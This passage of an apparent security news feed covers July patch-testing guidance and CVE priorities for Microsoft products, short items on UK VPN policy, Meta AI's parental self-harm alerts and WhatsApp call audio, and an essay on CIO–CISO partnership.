<ul class="wp-block-list">
<li>Run the connectivity suite: browsing, large downloads, mapped drives, an RDP session idle 30+ minutes, a Teams call, an hour of streaming, and localhost apps such as Docker or WSL</li>



<li>Stress Bluetooth: pairing, 10+ minutes of audio, input after idle, and reconnection after sleep</li>



<li>Where infrared hardware exists, transfer a file and run at least 100 connect-disconnect cycles</li>



<li>Sweep the rest: DNS Server (zone data must stay under its configured database directory), the client resolver (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/networking/technologies/dhcp/dhcp-top">DHCP</a> Server (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/file-server-smb-overview">SMB</a>, <a href="https://learn.microsoft.com/en-us/windows-server/storage/nfs/nfs-overview">NFS</a>, Message Queuing (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/remote/remote-access/remote-access">RRAS</a> administration, client VPN, and WinHTTP/WinINet consumers</li>
</ul>



<h2 class="wp-block-heading">Other windows components</h2>



<p class="wp-block-paragraph">Windows Installer itself is patched: testing should include application install, uninstall, repair, and force a rollback. <a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/hyper-v-on-windows-server">Hyper-V</a> wants virtual-switch traffic as part of its testing exercises with Virtual Filtering Platform policies enforced. Sixteen media-related security entries cover playback, HEVC and MPEG-TS, USB audio, and MIDI 2.0.</p>



<h2 class="wp-block-heading">Shell hardening and LSA isolation</h2>



<p class="wp-block-paragraph">These two entries are a little different from the rest of the cycle: they ask you to confirm a security behaviour actively works, not just that nothing regressed. A pass here means the protection fired, so treat them as functional checks rather than box-ticking.</p>



<ul class="wp-block-list">
<li>Shortcut handling (windows.storage.dll; Windows 11 23H2 and earlier, plus Server 2022): drop a shortcut file carrying the <a href="https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked">Mark of the Web</a> into a folder and confirm the system refuses to extract its icon and leaks no <a href="https://learn.microsoft.com/en-us/windows-server/security/kerberos/ntlm-overview">NTLM</a> credential hash – include the zero-click paths, where the icon would otherwise render without you opening anything</li>



<li>LSA isolation and KeyGuard (24H2/25H2, Server 2025): run the supplied PowerShell validation script, which turns on <a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs">Virtualization-based Security</a> if it isn’t already, exercises KeyGuard key operations in both required and best-effort isolation modes, and reports pass or fail – it needs TPM 2.0, UEFI with Secure Boot disabled, and PowerShell 7</li>



<li>Run that script on a dedicated test machine, never a shared one: it enables test signing, disables automatic updates, and reboots without asking</li>
</ul>



<h2 class="wp-block-heading">Office &amp; SharePoint</h2>



<p class="wp-block-paragraph">July’s <a href="https://learn.microsoft.com/en-us/office/">Office</a> wave is security-only; everything landed on 14 July, and nothing critical or non-security shipped in the 7 July preview. It’s an MSI-only cycle, so <a href="https://learn.microsoft.com/en-us/deployoffice/overview-office-deployment-tool">Click-to-Run</a> estates can sit this one out.</p>



<ul class="wp-block-list">
<li>On MSI Office 2016, apply the client updates – <a href="https://learn.microsoft.com/en-us/office/client-developer/excel/excel-home">Excel</a> (KB5002886), <a href="https://learn.microsoft.com/en-us/office/client-developer/word/word-home">Word</a> (KB5002890), PowerPoint (KB5002867), and five further Office 2016 security updates (<a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002273">KB5002273</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002887">KB5002887</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002748">KB5002748</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002857">KB5002857</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002830">KB5002830</a>) – then exercise macros, external data, embedded objects, and any line-of-business add-ins</li>



<li>On <a href="https://learn.microsoft.com/en-us/sharepoint/sharepoint-server">SharePoint Server</a>, patch 2016 (KB5002891, plus the KB5002892 language pack) and Subscription Edition (KB5002882), then check browser-based editing; the guidance lists SharePoint 2019 with a baseline but ships no 2019 package, so there is nothing to install there</li>
</ul>



<p class="wp-block-paragraph">Mind the rollback rules before you schedule the window: most client updates can be uninstalled, but the server updates cannot and always require a reboot.</p>



<h2 class="wp-block-heading">Developer tools &amp; databases</h2>



<p class="wp-block-paragraph">The developer estate gets a broad but low-drama sweep this month. Both .NET and SQL Server patch widely, but the ask is representative-application validation rather than anything exotic – install on the matching branch and confirm normal behaviour.</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/dotnet/core/sdk">.NET</a>: install the SDK updates (8.0.423, 9.0.316, 10.0.302, x64 and x86) and the Framework rollups spanning 3.5 through 4.8.1 – which reach from Windows Server 2012 up to Windows 11 26H1 and Server 2025 – then run a representative set of applications and confirm they function normally</li>



<li><a href="https://learn.microsoft.com/en-us/sql/sql-server/">SQL Server</a>: the <a href="https://learn.microsoft.com/en-us/troubleshoot/sql/releases/servicing-models-sql-server">GDR</a> updates span 2016 SP3 through 2025 – install each on its matching branch and test that each removes cleanly</li>



<li>Check an encrypted client connection through the separately patched Windows SQL client (dbnetlib.dll), which ships outside the server branches</li>
</ul>



<p class="wp-block-paragraph">The Readiness team recommends the following priorities for your larger enterprise deployments:</p>



<ul class="wp-block-list">
<li>Start with printing and graphics: half the high-risk flags sit in the Print Spooler, win32k, and GDI+, so regress shared printers, 32-bit printing, PDF export, metafiles, and window management before anything else</li>



<li>Take NTFS next – extended attributes and crash recovery both touch data integrity – and add a client File History backup-and-restore pass</li>



<li>Give Server 2025 its wider matrix – the Secure Boot/BitLocker combinations, WSL, GPU partitioning, and the scripted backup pass – and work through the stress suites</li>



<li>Run the scripted KeyGuard validation on any <a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs">VBS</a> estate, preferably on a dedicated machine.</li>
</ul>



<p class="wp-block-paragraph">Each month, we break down the update cycle into product families (as defined by Microsoft) with the following basic groupings:</p>



<ul class="wp-block-list">
<li>Browsers (Microsoft IE and Edge)</li>



<li>Microsoft Windows (both desktop and server)</li>



<li>Microsoft Office</li>



<li>Microsoft Exchange and SQL Server</li>



<li>Microsoft Developer Tools (Visual Studio and .NET)</li>



<li>Adobe (if you get this far)</li>
</ul>



<h2 class="wp-block-heading">Browsers</h2>



<p class="wp-block-paragraph">Edge has had a busier month than usual. Microsoft addressed 46 <a href="https://learn.microsoft.com/en-us/deployedge/microsoft-edge-for-business">Microsoft Edge</a> (Chromium-based) CVEs this cycle. None critical, but heavily weighted to remote code execution (21 entries) and spoofing (13), led by <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289">CVE-2026-58289</a>, a remote code execution flaw. A run of further RCEs (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981">CVE-2026-57981</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645">CVE-2026-56645</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974">CVE-2026-57974</a>) follows.</p>



<ul class="wp-block-list">
<li>Microsoft Edge – the Edge-specific fixes ship in the Edge stable channel (version 150.0.4078.65, released 9 July). The concentration of RCE and spoofing this month is worth a look for managed Edge estates rather than a routine wave-through.</li>



<li>Chromium upstream – 427 CVEs relayed through MSRC this cycle, spanning the weekly Chrome release cadence since the June report: use-after-free, out-of-bounds read/write, type confusion, and inappropriate-implementation flaws across V8, Dawn, ANGLE, Skia, and Tint. The same fixes ship in the Chrome Stable channel; see the <a href="https://chromereleases.googleblog.com/">Chrome releases blog</a> for the upstream notes.</li>
</ul>



<p class="wp-block-paragraph">The Chromium volume looks (quite) alarming but is routine plumbing: it flows to Edge through its own auto-update channel. Add these browser (Edge) updates to your standard release schedule for your managed environments.</p>



<h2 class="wp-block-heading">Microsoft Windows</h2>



<p class="wp-block-paragraph">Windows carries the bulk of this month’s updates: 406 CVEs, 31 rated critical and 374 important. Elevation of privilege dominates by volume (226 entries), followed by remote code execution (70), information disclosure (70), denial of service (23), and a scatter of security-feature-bypass, tampering, and spoofing entries across the following feature groupings:</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows-server/networking/technologies/dhcp/dhcp-top">DHCP</a> – the standout network cluster: DHCP Server remote code execution (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518">CVE-2026-50518</a>, “Exploitation More Likely,” and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159">CVE-2026-56159</a>), with further critical DHCP Server and DHCP Client RCEs behind them (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564">CVE-2026-48564</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370">CVE-2026-50370</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128">CVE-2026-54128</a>). DHCP servers are the deployment priority.</li>



<li><a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/virtual-switch">VMSwitch</a> and <a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/hyper-v-on-windows-server">Hyper-V</a> – the Windows VMSwitch elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092">CVE-2026-57092</a>) is one of the month’s highest-severity flaws, joined by two critical Hyper-V elevation-of-privilege entries (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680">CVE-2026-50680</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127">CVE-2026-54127</a>), guest-to-host risk on virtualisation hosts.</li>



<li>Network stack RCE – a Windows Server Network driver RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188">CVE-2026-56188</a>, “Exploitation More Likely”), plus <a href="https://learn.microsoft.com/en-us/troubleshoot/windows-client/networking/tcpip-addressing-and-subnetting">TCP/IP</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999">CVE-2026-54999</a>), the Reliable Multicast Transport Driver (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982">CVE-2026-54982</a>), and SSTP (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694">CVE-2026-50694</a>).</li>



<li>Graphics – Windows <a href="https://learn.microsoft.com/en-us/windows/win32/gdiplus/-gdiplus-overview-of-gdi--about">GDI+</a> remote code execution (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380">CVE-2026-50380</a>) and a <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/display/directx-graphics-kernel-subsystem">DirectX Graphics Kernel</a> RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382">CVE-2026-50382</a>), both reachable through document-rendering paths.</li>



<li>Windows Media – a large cluster: three critical <a href="https://learn.microsoft.com/en-us/windows/win32/medfound/microsoft-media-foundation-sdk">Media Foundation</a> RCEs (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090">CVE-2026-57090</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094">CVE-2026-57094</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087">CVE-2026-57087</a>) lead 14 Windows Media and seven Media Foundation entries overall.</li>



<li>Identity infrastructure – beyond the exploited ADFS flaw, <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview">Active Directory Domain Services</a> takes a critical RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164">CVE-2026-49164</a>) and <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-cs/active-directory-certificate-services-overview">Active Directory Certificate Services</a> a critical elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121">CVE-2026-54121</a>). Domain controllers take priority again.</li>



<li><a href="https://learn.microsoft.com/en-us/windows/win32/printdocs/print-spooler">Print Spooler</a>, <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">WSUS</a>, and MSMQ – critical RCE/EoP in the Print Spooler (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608">CVE-2026-58608</a>), <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">Windows Server Update Services</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444">CVE-2026-50444</a>), and <a href="https://learn.microsoft.com/en-us/windows/win32/rpc/overview-of-message-queuing-services-architecture">Message Queuing</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992">CVE-2026-54992</a>, “Exploitation More Likely”), all server-role attack surface.</li>
</ul>



<p class="wp-block-paragraph">The <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-kernel-mode-kernel-library">Windows Kernel</a> is the most-patched component (28 CVEs, seven “More Likely”), followed by <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/ntfs-overview">NTFS</a> (21), Windows Runtime (17), Windows Media (14), <a href="https://learn.microsoft.com/en-us/windows-server/storage/refs/refs-overview">ReFS</a> (12), and Win32k (15 across its two entries). Add this Windows update to your Patch Now deployment schedule.</p>



<h2 class="wp-block-heading">Microsoft Office</h2>



<p class="wp-block-paragraph">Microsoft released 96 Office CVEs this month: 19 critical, 76 important. Remote code execution leads (53 entries), ahead of information disclosure (27) and spoofing (10). <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> is the centre of gravity: it touches 39 of the 96 CVEs and supplies the family’s one actively exploited flaw.</p>



<ul class="wp-block-list">
<li>SharePoint Server: has been exploited (who would have guessed) and reaches end of support today. <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164">CVE-2026-56164</a>, an elevation of privilege, is under active exploitation. Above it sit two critical remote code execution flaws, both “Exploitation More Likely” (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522">CVE-2026-50522</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644">CVE-2026-58644</a>) and a critical security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040">CVE-2026-55040</a>). SharePoint Server 2016 and 2019 reach end of support on 14 July, so this exploited, critical-heavy set is the final security update those on-premises farms will receive.</li>



<li>Office has experienced a long run of critical remote code execution entries across Office, Word, and PowerPoint (among them <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033">CVE-2026-55033</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127">CVE-2026-55127</a> in Word, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043">CVE-2026-55043</a> in PowerPoint, and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018">CVE-2026-55018</a> in Office), topped by <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045">CVE-2026-55045</a>.</li>
</ul>



<p class="wp-block-paragraph">With an exploited zero-day, two RCEs, and an end-of-support deadline all landing on SharePoint in the same cycle, SharePoint environments are the priority. Add the July Office and SharePoint updates to your Patch Now schedule.</p>



<h2 class="wp-block-heading">Microsoft Exchange and <a href="https://learn.microsoft.com/en-us/sql/sql-server/what-is-sql-server?view=sql-server-ver17">SQL Server</a></h2>



<p class="wp-block-paragraph">Both Exchange and SQL Server carry critical-rated security vulnerabilities this month. <a href="https://learn.microsoft.com/en-us/exchange/">Exchange Server</a> returns with an on-premises security update for Exchange Server Subscription Edition, the only on-premises release still supported after Exchange Server 2016 and 2019 reached end of support in October 2025; SQL Server takes two critical remote code execution flaws, one of them against SQL Server 2016, which reaches end of support on the same day.</p>



<ul class="wp-block-list">
<li>Exchange Server (on-premises) – <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008">CVE-2026-55008</a>, a spoofing vulnerability rated critical and “Exploitation More Likely,” is the headline. Behind it, a remote code execution entry (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005">CVE-2026-55005</a>) and two elevation-of-privilege flaws (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006">CVE-2026-55006</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009">CVE-2026-55009</a>) round out the on-premises set. A separate Exchange Online elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998">CVE-2026-54998</a>, critical) is fixed service-side with no customer action.</li>



<li>SQL Server – two critical remote code execution flaws: <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117">CVE-2026-54117</a> (SQL Server 2025) and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118">CVE-2026-54118</a> (which reaches back to SQL Server 2016 SP3), with five further important elevation-of-privilege and information-disclosure entries behind them. The 2016 exposure matters because SQL Server 2016 reaches end of support on 14 July: a critical RCE on a platform taking its final update.</li>
</ul>



<p class="wp-block-paragraph">Both belong on the Patch Now schedule this month: the Exchange on-premises update for its critical spoofing flaw, and the SQL Server update for the two critical RCEs.</p>



<h2 class="wp-block-heading">Microsoft developer tools</h2>



<p class="wp-block-paragraph">Microsoft released 24 CVEs across its developer tooling this month, all rated important. The weighting shifts from last month’s <a href="https://code.visualstudio.com/">Visual Studio Code</a> concentration toward <a href="https://learn.microsoft.com/en-us/dotnet/core/introduction">.NET</a> and <a href="https://learn.microsoft.com/en-us/aspnet/core/overview?view=aspnetcore-10.0">ASP.NET Core</a>, where a run of denial-of-service entries dominates the volume:</p>



<ul class="wp-block-list">
<li>ASP.NET Core and .NET – the two highest-severity entries are ASP.NET Core elevation-of-privilege entries (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300">CVE-2026-47300</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303">CVE-2026-47303</a>), ahead of a .NET security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528">CVE-2026-50528</a>) and two .NET / .NET Framework remote code execution flaws (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646">CVE-2026-50646</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649">CVE-2026-50649</a>).</li>



<li><a href="https://learn.microsoft.com/en-us/visualstudio/get-started/visual-studio-ide?view=visualstudio">Visual Studio</a> and VS Code – a GitHub Copilot / Visual Studio Code security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109">CVE-2026-41109</a>) and a second VS Code security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102">CVE-2026-57102</a>) lead here, with a VS Code remote code execution entry behind them (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520">CVE-2026-50520</a>) and a Visual Studio RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305">CVE-2026-47305</a>).</li>
</ul>



<p class="wp-block-paragraph">Add these Microsoft updates to your standard developer update release schedule.</p>



<h2 class="wp-block-heading">Adobe (and third-party updates)</h2>



<p class="wp-block-paragraph">Outside Microsoft’s own catalogue, July is quiet. Adobe issued no Acrobat or Reader security updates. So, the month belongs to Microsoft, and it is a heavy one: 722 CVEs, roughly three times a normal cycle and one of the largest on record. Worth noting that this lands in the same season Microsoft has been talking up AI-assisted vulnerability management, and the AI stack it is selling as the answer, Copilot and Azure OpenAI among them, sits in the centre of this patch cycle’s own critical-rated updates. The (AI) tooling may be getting smarter, but the patch pile is (definitely) not getting smaller. This may be the beginning of an accelerating curve of ever larger patch cycles. My feeling is that we are in the middle of the beginning of this coming patch surge.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA['This is the right call' — VPN industry praises the UK’s decisions to leave VPN alone]]></title>
<description><![CDATA[UK officials have confirmed that VPN restrictions are off the cards. Data proves that only a minority of kids use them to bypass age checks, with privacy being the most popular use. The VPN industry now urges the EU to follow suit.]]></description>
<link>https://tsecurity.de/de/3676260/it-nachrichten/this-is-the-right-call-vpn-industry-praises-the-uks-decisions-to-leave-vpn-alone/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676260/it-nachrichten/this-is-the-right-call-vpn-industry-praises-the-uks-decisions-to-leave-vpn-alone/</guid>
<pubDate>Fri, 17 Jul 2026 16:02:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[UK officials have confirmed that VPN restrictions are off the cards. Data proves that only a minority of kids use them to bypass age checks, with privacy being the most popular use. The VPN industry now urges the EU to follow suit.]]></content:encoded>
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<title><![CDATA[Meta AI Updates Its Chatbot To Alert Parents About Teen Self-Harm]]></title>
<description><![CDATA[The social media giant Meta just added a major safety feature to its digital assistant. When younger users have conversations that involve thoughts of suicide or hurting themselves, the company will step in. Instead of just showing crisis hotlines on the screen, the system will now send a direct ...]]></description>
<link>https://tsecurity.de/de/3676171/ios-mac-os/meta-ai-updates-its-chatbot-to-alert-parents-about-teen-self-harm/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676171/ios-mac-os/meta-ai-updates-its-chatbot-to-alert-parents-about-teen-self-harm/</guid>
<pubDate>Fri, 17 Jul 2026 15:26:06 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The social media giant Meta just added a major safety feature to its digital assistant. When younger users have conversations that involve thoughts of suicide or hurting themselves, the company will step in. Instead of just showing crisis hotlines on the screen, the system will now send a direct notification right to a linked parent or guardian. The change aims to help families address these serious issues in real life.



Human reviewers check the flagged chats before sending parental alerts



To make this work, the platform requires families to opt into its specific supervision tools first. Once those settings are active, the artificial intelligence monitors the background chats for any signs of distress. However, a computer program does not make the final call on its own.



The company stated that a real person will manually review every conversation flagged by the AI. This extra step helps prevent false alarms from reaching parents over harmless chats. If a reviewer decides the context is unclear, the system will still notify the parent just to be safe.



The safety rollout is currently live for users in the United States, Canada, the United Kingdom, and Australia. The company plans to expand this coverage to more countries later this year. Looking forward, the platform is also building a tool to contact emergency services directly if a chat suggests an immediate risk to a user's life.



Ultimately, this update gives families a practical tool to handle difficult situations. While no monitoring program is flawless, relying on human reviewers shows a careful approach to keeping vulnerable users safe online.]]></content:encoded>
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<title><![CDATA[WhatsApp Now Lets iPhone Users Switch Mic Modes During Calls]]></title>
<description><![CDATA[If you frequently use WhatsApp for voice and video calls, dealing with loud background noise is about to get much easier. A new software update is bringing system-level microphone controls directly into the active call screen. Instead of forcing you to swipe away from your conversation to find th...]]></description>
<link>https://tsecurity.de/de/3676170/ios-mac-os/whatsapp-now-lets-iphone-users-switch-mic-modes-during-calls/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676170/ios-mac-os/whatsapp-now-lets-iphone-users-switch-mic-modes-during-calls/</guid>
<pubDate>Fri, 17 Jul 2026 15:26:04 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If you frequently use WhatsApp for voice and video calls, dealing with loud background noise is about to get much easier. A new software update is bringing system-level microphone controls directly into the active call screen. Instead of forcing you to swipe away from your conversation to find the right audio settings, the app now places these useful sound filters right at your fingertips.



The new call menu offers four different audio processing choices



During an active voice or video chat, you can now tap the "More" button at the bottom of the screen to open the new microphone settings. This menu lets you switch between four distinct modes without ever dropping or interrupting your current call. Standard mode keeps the default audio balance. Voice Isolation blocks out surrounding noise so the other person can hear you clearly.



Wide Spectrum lets all the background sounds through, which is great if you want to share a live event. Finally, Automatic mode lets the phone decide the best option based on your situation.



These features actually come directly from the iPhone operating system rather than the messaging app itself. Apple first introduced these audio filters back in iOS 15, but most people never used them because they were hidden inside the Control Center. By bringing this shortcut directly into the call interface, the messaging platform is making these tools far more accessible.



Once you pick a preferred setting, the app remembers your choice for all future calls. You do not have to dig into the menu every time you ring a friend. The update is currently rolling out slowly through the App Store, so it might take a few weeks before it shows up on your device.]]></content:encoded>
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<title><![CDATA[The last human relationship in cybersecurity]]></title>
<description><![CDATA[We are inundated with promises that artificial intelligence will save us and that the next governance framework will protect us. Buy this platform, adopt that model and the hard part finally gets easier. After 15 years in this field, I have wanted that shortcut as much as anyone.



But both prom...]]></description>
<link>https://tsecurity.de/de/3675960/it-nachrichten/the-last-human-relationship-in-cybersecurity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675960/it-nachrichten/the-last-human-relationship-in-cybersecurity/</guid>
<pubDate>Fri, 17 Jul 2026 14:03:27 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">We are inundated with promises that artificial intelligence will save us and that the next governance framework will protect us. Buy this platform, adopt that model and the hard part finally gets easier. After 15 years in this field, I have wanted that shortcut as much as anyone.</p>



<p class="wp-block-paragraph">But both promises are downstream of something neither one can produce. You cannot automate trust between two people. You cannot govern your way to a relationship. As AI moves into the core of how organizations operate, and accountability stops mapping cleanly to the org chart, what holds when the stakes are highest is not the platform or the policy. It is two human leaders who know each other well enough to carry the weight together.</p>



<p class="wp-block-paragraph">I think about this often now, a year after publishing a book about the pressures bearing down on security leaders, “<a href="https://www.amazon.com/dp/B0F6DDK8CD">The CISO On The Razor’s Edge: Leading Cybersecurity When The System Is Designed To Break</a>.” The partnership between the CIO and the CISO is the last human relationship in cybersecurity. AI raises the stakes. Governance sets the floor. The relationship is what holds.</p>



<p class="wp-block-paragraph">I saw it work once, up close. When I worked in Washington State, the CIO, <a href="https://www.linkedin.com/in/william-kehoe-a37a0714b/">Bill Kehoe</a>, talked to his CISO, <a href="https://www.linkedin.com/in/ralfjnsn/">Ralph Johnson</a>, every day. Weekends included. Not because a policy required it, but because the mission did. That partnership is a large part of why the role stayed sustainable for them when it broke so many others.</p>



<h2 class="wp-block-heading">The promise we keep believing</h2>



<p class="wp-block-paragraph">Walk any conference floor and you will hear the same pitch in a hundred variations. The next AI layer will close the gap. The next framework will lock down the risk. The technology is usually ready. The organization is not. I have watched too many well-funded programs stall to still believe the tool is the answer, and almost every time, the breakdown traced back to leaders who were not aligned before the work began. A framework run by misaligned leaders inherits the misalignment. You can buy the best controls on the market and still watch them fail when two leaders work from different assumptions about who owns what.</p>



<p class="wp-block-paragraph">Bill and Ralph understood this. Security decisions were not handed to Ralph after the fact to bless or block. They were made with him, inside the technology decisions, because the two had already agreed on what mattered. That is not governance. That is leadership creating the conditions in which governance can work.</p>



<p class="wp-block-paragraph">It is the real lesson I came to in the book. Technical knowledge matters, but it is not enough. As I wrote then, “Influence, trust and internal relationships are non-negotiable.” Without influence, CISOs cannot lead. Without technical substance, they cannot prioritize what matters. And without partnership, especially with their CIO, “they’re operating without a safety net.”</p>



<p class="wp-block-paragraph">AI does not change that truth. It raises the cost of ignoring it.</p>



<h2 class="wp-block-heading">When decisions move at machine speed</h2>



<p class="wp-block-paragraph">The ground under both roles is shifting. Work no longer flows through people alone. It moves across people, platforms, partners and agents at the same time, and it moves fast. Decisions that once waited for a meeting now form in seconds. The org chart, built for an era when humans did the work and reporting lines explained accountability, struggles to keep up.</p>



<p class="wp-block-paragraph">This is where the partnership stops being a nicety and becomes infrastructure. When decisions form at machine speed, the human escalation path has to be instant. There is no time to negotiate a relationship in the middle of an incident. Either the trust is already there, built in the quiet stretches before anything goes wrong, or it is not there when it counts.</p>



<p class="wp-block-paragraph">I asked Bill what he would lose if his daily calls with Ralph dropped to once a week. His answer cut straight to it.</p>



<p class="wp-block-paragraph">“Cyber does not rest,” he told me. “It is active and dynamic and requires 24/7/365 attention.” Drop to a weekly check-in, he explained, and “I am treating the CISO like any other executive position.” For Bill, AI only raises the stakes on that daily contact. “Relationships and partnerships between the CIO and CISO will never die due to AI,” he said. “I can’t even imagine a scenario where I don’t talk to my CISO on a daily basis including weekends to discuss the latest risks and vulnerabilities or news on potential AI attacks.”</p>



<p class="wp-block-paragraph">That is the point most of the market misses. A platform can flag the anomaly. It cannot decide what the organization is willing to risk, who carries that decision or how two leaders stand behind it together. The faster the machines move, the more the partnership has to already be in place.</p>



<h2 class="wp-block-heading">The loneliest seat in the building</h2>



<p class="wp-block-paragraph">There is a reason some now call the CISO job the least desirable role in business. The seat carries enormous accountability and rarely the authority to match. As one security leader put it, <a href="https://www.csoonline.com/article/4016334/has-ciso-become-the-least-desirable-role-in-business.html">the pressure has never been higher and the control has never felt lower</a>. People are burning out and walking away from a role that has never mattered more.</p>



<p class="wp-block-paragraph">Here is the hard part. There is no log file for burnout. No alert fires when the weight finally exceeds the leader. That drain is invisible right up until it is not, and it raises organizational risk as surely as any unpatched system. The structural fixes the industry debates are all real and all slow.</p>



<p class="wp-block-paragraph">The fastest source of relief available to a CISO is not a framework. It is a CIO who treats the relationship as a daily partnership rather than a line on a chart. An isolated CISO is a vulnerability. A partnered one is an asset.</p>



<p class="wp-block-paragraph">You see what that partnership is worth in the worst moment. I asked Bill what it looks like when an incident hits and public trust is on the line. He did not reach for a tool.</p>



<p class="wp-block-paragraph">“I am accountable as CIO to everything that occurs in the state from a technology lens including cyber,” he said. When a severe incident hits, the call comes to him from agency leadership or the Governor’s Office. Then he follows the plan, but never alone: “I will be in constant contact with the CISO on the details of the incident.”</p>



<p class="wp-block-paragraph">That is the safety net made real. The CISO is not carrying the mission alone at the moment it matters most. On the razor’s edge, leadership keeps you upright. Partnership keeps you in the fight.</p>



<h2 class="wp-block-heading">The work no tool will do for you</h2>



